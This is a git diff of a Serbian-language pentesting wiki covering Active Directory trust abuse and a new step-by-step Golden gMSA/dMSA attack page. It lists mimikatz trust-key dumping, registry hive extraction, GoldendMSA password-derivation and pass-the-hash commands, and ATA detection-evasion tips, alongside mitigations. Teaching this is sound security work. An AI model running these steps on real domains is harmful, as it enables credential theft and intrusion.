- **Cross-link Trusts**: Poznate kao "shortcut trusts", ove se uspostavljaju između domena dece kako bi se ubrzali procesi upućivanja. U složenim šumama, upućivanja za autentifikaciju obično moraju putovati do korena šume, a zatim do ciljnog domena. Kreiranjem međuveza, putovanje se skraćuje, što je posebno korisno u geografskim raspršenim okruženjima.
|
||||
- **External Trusts**: Ove se postavljaju između različitih, nepovezanih domena i po prirodi su ne-tranzitivne. Prema [Microsoftovoj dokumentaciji](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), eksterni trustovi su korisni za pristup resursima u domenu izvan trenutne šume koji nije povezan šumskim poverenjem. Bezbednost se pojačava filtriranjem SID-a sa spoljnim poverenjima.
|
||||
- **Tree-root Trusts**: Ova poverenja se automatski uspostavljaju između korenskog domena šume i novododatog korena drveta. Iako se ne susreću često, poverenja između korena drveta su važna za dodavanje novih domena drveća u šumu, omogućavajući im da zadrže jedinstveno ime domena i osiguravajući dvosmernu tranzitivnost. Više informacija možete pronaći u [Microsoftovom vodiču](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
|
||||
- **Forest Trusts**: Ova vrsta poverenja je dvosmerno tranzitivno poverenje između dva korenska domena šume, takođe primenjujući filtriranje SID-a kako bi se poboljšale mere bezbednosti.
|
||||
- **Cross-link Trusts**: Poznate kao "prečice poverenja", ove se uspostavljaju između domena dece kako bi se ubrzali procesi upućivanja. U složenim šumama, upućivanja za autentifikaciju obično moraju putovati do korena šume, a zatim do ciljnog domena. Kreiranjem prečica, putovanje se skraćuje, što je posebno korisno u geografski raspršenim okruženjima.
|
||||
- **External Trusts**: Ove se postavljaju između različitih, nepovezanih domena i po prirodi su ne-tranzitivne. Prema [Microsoftovoj dokumentaciji](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), spoljašnja poverenja su korisna za pristup resursima u domenu izvan trenutne šume koji nije povezan šumskim poverenjem. Bezbednost se pojačava filtriranjem SID-a sa spoljnim poverenjima.
|
||||
- **Tree-root Trusts**: Ova poverenja se automatski uspostavljaju između korenskog domena šume i novog dodatog korena drveta. Iako se ne susreću često, poverenja korena drveta su važna za dodavanje novih domena drveća u šumu, omogućavajući im da zadrže jedinstveno ime domena i osiguravajući dvosmernu tranzitivnost. Više informacija možete pronaći u [Microsoftovom vodiču](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
|
||||
- **Forest Trusts**: Ova vrsta poverenja je dvosmerno tranzitivno poverenje između dva korenska domena šume, takođe primenjujući filtriranje SID-a kako bi se pojačale mere bezbednosti.
|
||||
- **MIT Trusts**: Ova poverenja se uspostavljaju sa ne-Windows, [RFC4120-kompatibilnim](https://tools.ietf.org/html/rfc4120) Kerberos domenima. MIT poverenja su malo specijalizovanija i prilagođena su okruženjima koja zahtevaju integraciju sa Kerberos-baziranim sistemima van Windows ekosistema.
|
||||
|
||||
#### Ostale razlike u **poverljivim odnosima**
|
||||
#### Ostale razlike u **odnosima poverenja**
|
||||
|
||||
- Poverljivi odnos može biti **tranzitivan** (A poverava B, B poverava C, onda A poverava C) ili **ne-tranzitivan**.
|
||||
- Poverljivi odnos može biti postavljen kao **dvosmerno poverenje** (oba se međusobno poveravaju) ili kao **jednostrano poverenje** (samo jedan od njih se poverava drugom).
|
||||
- Odnos poverenja može biti **tranzitivan** (A poverava B, B poverava C, onda A poverava C) ili **ne-tranzitivan**.
|
||||
- Odnos poverenja može biti postavljen kao **dvosmerno poverenje** (oba se međusobno poveravaju) ili kao **jednostrano poverenje** (samo jedan od njih se poverava drugom).
|
||||
|
||||
### Attack Path
|
||||
|
||||
1. **Enumerate** poverljive odnose
|
||||
2. Proverite da li bilo koji **sigurnosni princip** (korisnik/grupa/računar) ima **pristup** resursima **drugog domena**, možda putem ACE unosa ili tako što je u grupama drugog domena. Potražite **odnose između domena** (poverenje je verovatno stvoreno za ovo).
|
||||
1. **Enumerate** odnose poverenja
|
||||
2. Proverite da li bilo koji **bezbednosni princip** (korisnik/grupa/računar) ima **pristup** resursima **drugog domena**, možda putem ACE unosa ili tako što je u grupama drugog domena. Potražite **odnose preko domena** (poverenje je verovatno stvoreno za ovo).
|
||||
1. Kerberoast u ovom slučaju bi mogao biti još jedna opcija.
|
||||
3. **Kompromitujte** **naloge** koji mogu **preći** između domena.
|
||||
|
||||
@ -558,7 +558,7 @@ Napadači bi mogli pristupiti resursima u drugom domenu putem tri osnovna mehani
|
||||
|
||||
### Find external users/groups with permissions
|
||||
|
||||
Možete proveriti **`CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com`** da biste pronašli strane sigurnosne principe u domenu. Ovo će biti korisnici/grupe iz **spoljnog domena/šume**.
|
||||
Možete proveriti **`CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com`** da biste pronašli strane bezbednosne principe u domenu. Ovo će biti korisnici/grupe iz **spoljnog domena/šume**.
|
||||
|
||||
Možete proveriti ovo u **Bloodhound** ili koristeći powerview:
|
||||
```powershell
|
||||
@ -581,7 +581,7 @@ TrustDirection : Bidirectional --> Trust direction (2ways in this case)
|
||||
WhenCreated : 2/19/2021 1:28:00 PM
|
||||
WhenChanged : 2/19/2021 1:28:00 PM
|
||||
```
|
||||
Drugi načini za enumeraciju domena poverenja:
|
||||
Други начини за набрајање доменских поверења:
|
||||
```bash
|
||||
# Get DCs
|
||||
nltest /dsgetdc:<DOMAIN>
|
||||
@ -595,7 +595,7 @@ nltest /server:dc.sub.domain.local /domain_trusts /all_trusts
|
||||
```
|
||||
> [!WARNING]
|
||||
> Postoje **2 poverena ključa**, jedan za _Child --> Parent_ i drugi za _Parent_ --> _Child_.\
|
||||
> Možete ih koristiti za trenutnu domenu sa:
|
||||
> Možete koristiti onaj koji koristi trenutna domena sa:
|
||||
>
|
||||
> ```bash
|
||||
> Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local
|
||||
@ -616,7 +616,7 @@ Razumevanje kako se Configuration Naming Context (NC) može iskoristiti je klju
|
||||
|
||||
**Povežite GPO sa root DC lokacijom**
|
||||
|
||||
Kontejner lokacija Configuration NC uključuje informacije o svim računarima pridruženim domeni unutar AD šume. Operišući sa SYSTEM privilegijama na bilo kojem DC-u, napadači mogu povezati GPO-ove sa root DC lokacijama. Ova akcija potencijalno kompromituje root domenu manipulišući politikama primenjenim na ovim lokacijama.
|
||||
Kontejner lokacija Configuration NC sadrži informacije o svim računarima pridruženim domeni unutar AD šume. Operišući sa SYSTEM privilegijama na bilo kojem DC-u, napadači mogu povezati GPO-ove sa root DC lokacijama. Ova akcija potencijalno kompromituje root domen tako što manipuliše politikama primenjenim na ovim lokacijama.
|
||||
|
||||
Za detaljne informacije, može se istražiti istraživanje o [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research).
|
||||
|
||||
@ -624,7 +624,13 @@ Za detaljne informacije, može se istražiti istraživanje o [Bypassing SID Filt
|
||||
|
||||
Vektor napada uključuje ciljanje privilegovanih gMSA unutar domena. KDS Root ključ, koji je ključan za izračunavanje lozinki gMSA, čuva se unutar Configuration NC. Sa SYSTEM privilegijama na bilo kojem DC-u, moguće je pristupiti KDS Root ključu i izračunati lozinke za bilo koji gMSA širom šume.
|
||||
|
||||
Detaljna analiza može se naći u diskusiji o [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).
|
||||
Detaljna analiza i korak-po-korak vodič mogu se naći u:
|
||||
|
||||
{{#ref}}
|
||||
golden-dmsa-gmsa.md
|
||||
{{#endref}}
|
||||
|
||||
Dodatna spoljna istraživanja: [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).
|
||||
|
||||
**Napad na promenu šeme**
|
||||
|
||||
@ -636,9 +642,9 @@ Dalje čitanje je dostupno o [Schema Change Trust Attacks](https://improsec.com/
|
||||
|
||||
ADCS ESC5 ranjivost cilja kontrolu nad objektima javne infrastrukture ključeva (PKI) kako bi se kreirala šablon sertifikata koji omogućava autentifikaciju kao bilo koji korisnik unutar šume. Kako PKI objekti borave u Configuration NC, kompromitovanje pisanog child DC-a omogućava izvršenje ESC5 napada.
|
||||
|
||||
Više detalja o ovome može se pročitati u [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). U scenarijima bez ADCS, napadač ima mogućnost da postavi potrebne komponente, kao što je diskutovano u [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
|
||||
Više detalja o ovome može se pročitati u [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). U scenarijima bez ADCS, napadač ima mogućnost da postavi potrebne komponente, kao što je objašnjeno u [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
|
||||
|
||||
### Eksterna šuma domena - Jednosmerno (ulazno) ili dvosmerno
|
||||
### Spoljna Forest Domen - Jednosmerno (Ulazno) ili bidirekcionalno
|
||||
```bash
|
||||
Get-DomainTrust
|
||||
SourceName : a.domain.local --> Current domain
|
||||
@ -667,15 +673,15 @@ TrustDirection : Outbound --> Outbound trust
|
||||
WhenCreated : 2/19/2021 10:15:24 PM
|
||||
WhenChanged : 2/19/2021 10:15:24 PM
|
||||
```
|
||||
U ovom scenariju **vaša domena** **pouzdava** neka **prava** principalu iz **drugih domena**.
|
||||
U ovom scenariju **vaša domena** **pouzdava** neke **privilegije** principalu iz **drugih domena**.
|
||||
|
||||
Međutim, kada je **domena poverena** od strane poverene domene, poverena domena **kreira korisnika** sa **predvidivim imenom** koji koristi **lozinku poverene lozinke**. Što znači da je moguće **pristupiti korisniku iz poverene domene kako bi se ušlo u poverenu** da bi se enumerisalo i pokušalo da se eskalira više prava:
|
||||
Međutim, kada **domena bude poverena** od strane poverene domene, poverena domena **kreira korisnika** sa **predvidivim imenom** koji koristi **lozinku poverene lozinke**. Što znači da je moguće **pristupiti korisniku iz poverene domene kako bi se ušlo u poverenu** da se enumeriše i pokuša da se eskalira više privilegija:
|
||||
|
||||
{{#ref}}
|
||||
external-forest-domain-one-way-outbound.md
|
||||
{{#endref}}
|
||||
|
||||
Drugi način da se kompromituje poverena domena je da se pronađe [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links) kreiran u **suprotnoj pravcu** od poverenja domena (što nije baš uobičajeno).
|
||||
Drugi način da se kompromituje poverena domena je da se pronađe [**SQL poverena veza**](abusing-ad-mssql.md#mssql-trusted-links) kreirana u **suprotnoj pravcu** poverenja domena (što nije baš uobičajeno).
|
||||
|
||||
Još jedan način da se kompromituje poverena domena je da se čeka na mašini na kojoj **korisnik iz poverene domene može pristupiti** da se prijavi putem **RDP**. Tada bi napadač mogao da ubaci kod u proces RDP sesije i **pristupi izvornoj domeni žrtve** odatle.\
|
||||
Štaviše, ako je **žrtva montirala svoj hard disk**, iz **RDP sesije** proces napadača mogao bi da sačuva **backdoor-e** u **folderu za pokretanje hard diska**. Ova tehnika se naziva **RDPInception.**
|
||||
@ -688,13 +694,13 @@ rdp-sessions-abuse.md
|
||||
|
||||
### **SID filtriranje:**
|
||||
|
||||
- Rizik od napada koji koriste SID istorijski atribut preko šuma poverenja je ublažen SID filtriranjem, koje je podrazumevano aktivirano na svim međušumskim poverenjima. Ovo se zasniva na pretpostavci da su unutrašnja poverenja šuma sigurna, smatrajući šumu, a ne domenu, kao bezbednosnu granicu prema stavu Microsoft-a.
|
||||
- Rizik od napada koji koriste SID istorijski atribut preko šuma poverenja ublažava SID filtriranje, koje je podrazumevano aktivirano na svim međušumskim poverenjima. Ovo se zasniva na pretpostavci da su unutrašnja poverenja šuma sigurna, smatrajući šumu, a ne domenu, kao bezbednosnu granicu prema stavu Microsoft-a.
|
||||
- Međutim, postoji caka: SID filtriranje može ometati aplikacije i pristup korisnicima, što dovodi do povremene deaktivacije.
|
||||
|
||||
### **Selektivna autentifikacija:**
|
||||
|
||||
- Za međušumska poverenja, korišćenje selektivne autentifikacije osigurava da korisnici iz dve šume nisu automatski autentifikovani. Umesto toga, potrebne su eksplicitne dozvole za korisnike da pristupe domenima i serverima unutar poverene domene ili šume.
|
||||
- Važno je napomenuti da ove mere ne štite od eksploatacije zapisivog Konfiguracionog Nazivnog Konteksta (NC) ili napada na račun poverenja.
|
||||
- Za međušumska poverenja, korišćenje selektivne autentifikacije osigurava da korisnici iz dve šume nisu automatski autentifikovani. Umesto toga, potrebne su eksplicitne dozvole za korisnike da pristupe domenama i serverima unutar poverene domene ili šume.
|
||||
- Važno je napomenuti da ove mere ne štite od eksploatacije zapisivog Konfiguracionog imena konteksta (NC) ili napada na račun poverenja.
|
||||
|
||||
[**Više informacija o poverenjima domena na ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
|
||||
|
||||
@ -704,33 +710,33 @@ rdp-sessions-abuse.md
|
||||
https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/index.html
|
||||
{{#endref}}
|
||||
|
||||
## Neke Opšte Odbrane
|
||||
## Neke opšte odbrane
|
||||
|
||||
[**Saznajte više o tome kako zaštititi kredencijale ovde.**](../stealing-credentials/credentials-protections.md)
|
||||
|
||||
### **Defensivne mere za zaštitu kredencijala**
|
||||
### **Defanzivne mere za zaštitu kredencijala**
|
||||
|
||||
- **Ograničenja za Administratore Domeni**: Preporučuje se da Administratori Domeni mogu da se prijave samo na Kontrolere Domeni, izbegavajući njihovu upotrebu na drugim hostovima.
|
||||
- **Prava Servisnog Računa**: Servisi ne bi trebali da se pokreću sa pravima Administratora Domeni (DA) kako bi se održala bezbednost.
|
||||
- **Temporalno Ograničenje Prava**: Za zadatke koji zahtevaju DA prava, njihovo trajanje bi trebalo da bude ograničeno. To se može postići: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
|
||||
- **Ograničenja za domenske administratore**: Preporučuje se da se domenskim administratorima dozvoli prijavljivanje samo na kontrolere domena, izbegavajući njihovu upotrebu na drugim hostovima.
|
||||
- **Privilegije servisnog naloga**: Servisi ne bi trebali da se pokreću sa privilegijama domenskog administratora (DA) kako bi se održala bezbednost.
|
||||
- **Temporalno ograničenje privilegija**: Za zadatke koji zahtevaju DA privilegije, njihovo trajanje bi trebalo da bude ograničeno. To se može postići: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
|
||||
|
||||
### **Implementacija Tehnika Obmane**
|
||||
### **Implementacija tehnika obmane**
|
||||
|
||||
- Implementacija obmane uključuje postavljanje zamki, poput mamac korisnika ili računara, sa karakteristikama kao što su lozinke koje ne isteknu ili su označene kao Poverene za Delegaciju. Detaljan pristup uključuje kreiranje korisnika sa specifičnim pravima ili dodavanje u grupe sa visokim privilegijama.
|
||||
- Implementacija obmane uključuje postavljanje zamki, poput mamac korisnika ili računara, sa karakteristikama kao što su lozinke koje ne isteknu ili su označene kao poverene za delegaciju. Detaljan pristup uključuje kreiranje korisnika sa specifičnim pravima ili dodavanje u grupe sa visokim privilegijama.
|
||||
- Praktičan primer uključuje korišćenje alata kao što su: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
|
||||
- Više o implementaciji tehnika obmane može se naći na [Deploy-Deception na GitHub-u](https://github.com/samratashok/Deploy-Deception).
|
||||
- Više o implementaciji tehnika obmane može se pronaći na [Deploy-Deception na GitHub-u](https://github.com/samratashok/Deploy-Deception).
|
||||
|
||||
### **Identifikacija Obmane**
|
||||
### **Identifikacija obmane**
|
||||
|
||||
- **Za Korisničke Objekte**: Sumnjivi indikatori uključuju atipični ObjectSID, retke prijave, datume kreiranja i nizak broj loših lozinki.
|
||||
- **Opšti Indikatori**: Upoređivanje atributa potencijalnih mamac objekata sa onima pravih može otkriti neslaganja. Alati poput [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) mogu pomoći u identifikaciji takvih obmana.
|
||||
- **Za korisničke objekte**: Sumnjivi indikatori uključuju atipični ObjectSID, retke prijave, datume kreiranja i nizak broj loših lozinki.
|
||||
- **Opšti indikatori**: Upoređivanje atributa potencijalnih mamac objekata sa onima pravih može otkriti neslaganja. Alati poput [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) mogu pomoći u identifikaciji takvih obmana.
|
||||
|
||||
### **Obilaženje Sistema Detekcije**
|
||||
### **Obilaženje sistema detekcije**
|
||||
|
||||
- **Obilaženje Microsoft ATA Detekcije**:
|
||||
- **Enumeracija Korisnika**: Izbegavanje enumeracije sesija na Kontrolerima Domeni kako bi se sprečila ATA detekcija.
|
||||
- **Impersonacija Tiketa**: Korišćenje **aes** ključeva za kreiranje tiketa pomaže u izbegavanju detekcije ne prebacujući se na NTLM.
|
||||
- **DCSync Napadi**: Preporučuje se izvršavanje sa non-Domain Controller-a kako bi se izbegla ATA detekcija, jer direktno izvršavanje sa Kontrolera Domeni će pokrenuti upozorenja.
|
||||
- **Obilaženje Microsoft ATA detekcije**:
|
||||
- **Enumeracija korisnika**: Izbegavanje enumeracije sesija na kontrolerima domena kako bi se sprečila ATA detekcija.
|
||||
- **Impersonacija karte**: Korišćenje **aes** ključeva za kreiranje karata pomaže u izbegavanju detekcije ne prebacujući se na NTLM.
|
||||
- **DCSync napadi**: Preporučuje se izvršavanje sa non-Domain Controller-a kako bi se izbegla ATA detekcija, jer direktno izvršavanje sa kontrolera domena izaziva upozorenja.
|
||||
|
||||
## Reference
|
||||
|
||||
|
@ -0,0 +1,113 @@
|
||||
# Golden gMSA/dMSA Attack (Offline Derivation of Managed Service Account Passwords)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Pregled
|
||||
|
||||
Windows Managed Service Accounts (MSA) su posebni principi dizajnirani da pokreću usluge bez potrebe za ručnim upravljanjem njihovim lozinkama.
|
||||
Postoje dva glavna tipa:
|
||||
|
||||
1. **gMSA** – grupni Managed Service Account – može se koristiti na više hostova koji su autorizovani u njegovom `msDS-GroupMSAMembership` atributu.
|
||||
2. **dMSA** – delegirani Managed Service Account – (preview) naslednik gMSA, oslanja se na istu kriptografiju, ali omogućava granularnije scenarije delegacije.
|
||||
|
||||
Za oba varijante **lozinka nije pohranjena** na svakom Domain Controller-u (DC) kao običan NT-hash. Umesto toga, svaki DC može **izvesti** trenutnu lozinku u hodu iz:
|
||||
|
||||
* Šumskog **KDS Root Key** (`KRBTGT\KDS`) – nasumično generisana tajna sa GUID imenom, replicirana na svaki DC pod `CN=Master Root Keys,CN=Group Key Distribution Service, CN=Services, CN=Configuration, …` kontejnerom.
|
||||
* Ciljanog naloga **SID**.
|
||||
* Per-nalog **ManagedPasswordID** (GUID) koji se nalazi u `msDS-ManagedPasswordId` atributu.
|
||||
|
||||
Izvođenje je: `AES256_HMAC( KDSRootKey , SID || ManagedPasswordID )` → 240 byte blob konačno **base64-encoded** i pohranjen u `msDS-ManagedPassword` atributu.
|
||||
Nema Kerberos saobraćaja ili interakcije sa domenom potrebne tokom normalne upotrebe lozinke – član hosta izvodi lozinku lokalno sve dok zna tri ulaza.
|
||||
|
||||
## Golden gMSA / Golden dMSA Attack
|
||||
|
||||
Ako napadač može da dobije svih tri ulaza **offline**, može izračunati **važeće trenutne i buduće lozinke** za **bilo koji gMSA/dMSA u šumi** bez ponovnog dodirivanja DC-a, zaobilazeći:
|
||||
|
||||
* Kerberos pre-autentifikaciju / logove zahteva za karte
|
||||
* LDAP čitanje revizije
|
||||
* Intervale promene lozinke (mogu ih prethodno izračunati)
|
||||
|
||||
Ovo je analogno *Golden Ticket* za servisne naloge.
|
||||
|
||||
### Preduslovi
|
||||
|
||||
1. **Kompromitovanje na nivou šume** **jednog DC** (ili Enterprise Admin). `SYSTEM` pristup je dovoljan.
|
||||
2. Sposobnost da se enumerišu servisni nalozi (LDAP čitanje / RID brute-force).
|
||||
3. .NET ≥ 4.7.2 x64 radna stanica za pokretanje [`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) ili ekvivalentnog koda.
|
||||
|
||||
### Faza 1 – Ekstrakcija KDS Root Key
|
||||
|
||||
Dump sa bilo kog DC (Volume Shadow Copy / sirove SAM+SECURITY hives ili daljinski tajne):
|
||||
```cmd
|
||||
reg save HKLM\SECURITY security.hive
|
||||
reg save HKLM\SYSTEM system.hive
|
||||
|
||||
# With mimikatz on the DC / offline
|
||||
mimikatz # lsadump::secrets
|
||||
mimikatz # lsadump::trust /patch # shows KDS root keys too
|
||||
```
|
||||
Base64 string označen `RootKey` (GUID ime) je potreban u kasnijim koracima.
|
||||
|
||||
### Faza 2 – Enumerisanje gMSA/dMSA objekata
|
||||
|
||||
Preuzmite barem `sAMAccountName`, `objectSid` i `msDS-ManagedPasswordId`:
|
||||
```powershell
|
||||
# Authenticated or anonymous depending on ACLs
|
||||
Get-ADServiceAccount -Filter * -Properties msDS-ManagedPasswordId | \
|
||||
Select sAMAccountName,objectSid,msDS-ManagedPasswordId
|
||||
```
|
||||
[`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) implementira pomoćne režime:
|
||||
```powershell
|
||||
# LDAP enumeration (kerberos / simple bind)
|
||||
GoldendMSA.exe info -d example.local -m ldap
|
||||
|
||||
# RID brute force if anonymous binds are blocked
|
||||
GoldendMSA.exe info -d example.local -m brute -r 5000 -u jdoe -p P@ssw0rd
|
||||
```
|
||||
### Faza 3 – Pogađanje / Otkriće ManagedPasswordID (kada nedostaje)
|
||||
|
||||
Neka implementacija *uklanja* `msDS-ManagedPasswordId` iz ACL-zaštićenih čitanja.
|
||||
Pošto je GUID 128-bitni, naivan bruteforce je neizvodljiv, ali:
|
||||
|
||||
1. Prvih **32 bita = Unix epoch vreme** kreiranja naloga (rezolucija u minutima).
|
||||
2. Praćeno sa 96 nasumičnih bita.
|
||||
|
||||
Stoga je **uska lista reči po nalogu** (± nekoliko sati) realna.
|
||||
```powershell
|
||||
GoldendMSA.exe wordlist -s <SID> -d example.local -f example.local -k <KDSKeyGUID>
|
||||
```
|
||||
Alat izračunava kandidatske lozinke i upoređuje njihov base64 blob sa pravim `msDS-ManagedPassword` atributom – podudaranje otkriva tačan GUID.
|
||||
|
||||
### Faza 4 – Offline Izračunavanje Lozenke i Konverzija
|
||||
|
||||
Kada je ManagedPasswordID poznat, važeća lozinka je na dohvat ruke:
|
||||
```powershell
|
||||
# derive base64 password
|
||||
GoldendMSA.exe compute -s <SID> -k <KDSRootKey> -d example.local -m <ManagedPasswordID>
|
||||
|
||||
# convert to NTLM / AES keys for pass-the-hash / pass-the-ticket
|
||||
GoldendMSA.exe convert -d example.local -u svc_web$ -p <Base64Pwd>
|
||||
```
|
||||
Rezultantni hash-evi mogu biti injektovani pomoću **mimikatz** (`sekurlsa::pth`) ili **Rubeus** za zloupotrebu Kerberosa, omogućavajući stealth **lateralno kretanje** i **perzistenciju**.
|
||||
|
||||
## Detekcija i ublažavanje
|
||||
|
||||
* Ograničiti **DC backup i čitanje registra** na Tier-0 administratore.
|
||||
* Pratiti **Directory Services Restore Mode (DSRM)** ili **Volume Shadow Copy** kreiranje na DC-ima.
|
||||
* Revizija čitanja / promena `CN=Master Root Keys,…` i `userAccountControl` oznaka servisnih naloga.
|
||||
* Detektovati neobične **base64 pisanje lozinki** ili iznenadnu ponovnu upotrebu lozinki servisa među hostovima.
|
||||
* Razmotriti konvertovanje visokoprivilegovanih gMSA u **klasične servisne naloge** sa redovnim nasumičnim rotacijama gde Tier-0 izolacija nije moguća.
|
||||
|
||||
## Alati
|
||||
|
||||
* [`Semperis/GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) – referentna implementacija korišćena na ovoj stranici.
|
||||
* [`mimikatz`](https://github.com/gentilkiwi/mimikatz) – `lsadump::secrets`, `sekurlsa::pth`, `kerberos::ptt`.
|
||||
* [`Rubeus`](https://github.com/GhostPack/Rubeus) – pass-the-ticket koristeći derivirane AES ključeve.
|
||||
|
||||
## Reference
|
||||
|
||||
- [Golden dMSA – zaobilaženje autentifikacije za delegirane upravljane servisne naloge](https://www.semperis.com/blog/golden-dmsa-what-is-dmsa-authentication-bypass/)
|
||||
- [Semperis/GoldenDMSA GitHub repozitorijum](https://github.com/Semperis/GoldenDMSA)
|
||||
- [Improsec – Golden gMSA napad poverenja](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
Loading…
x
Reference in New Issue
Block a user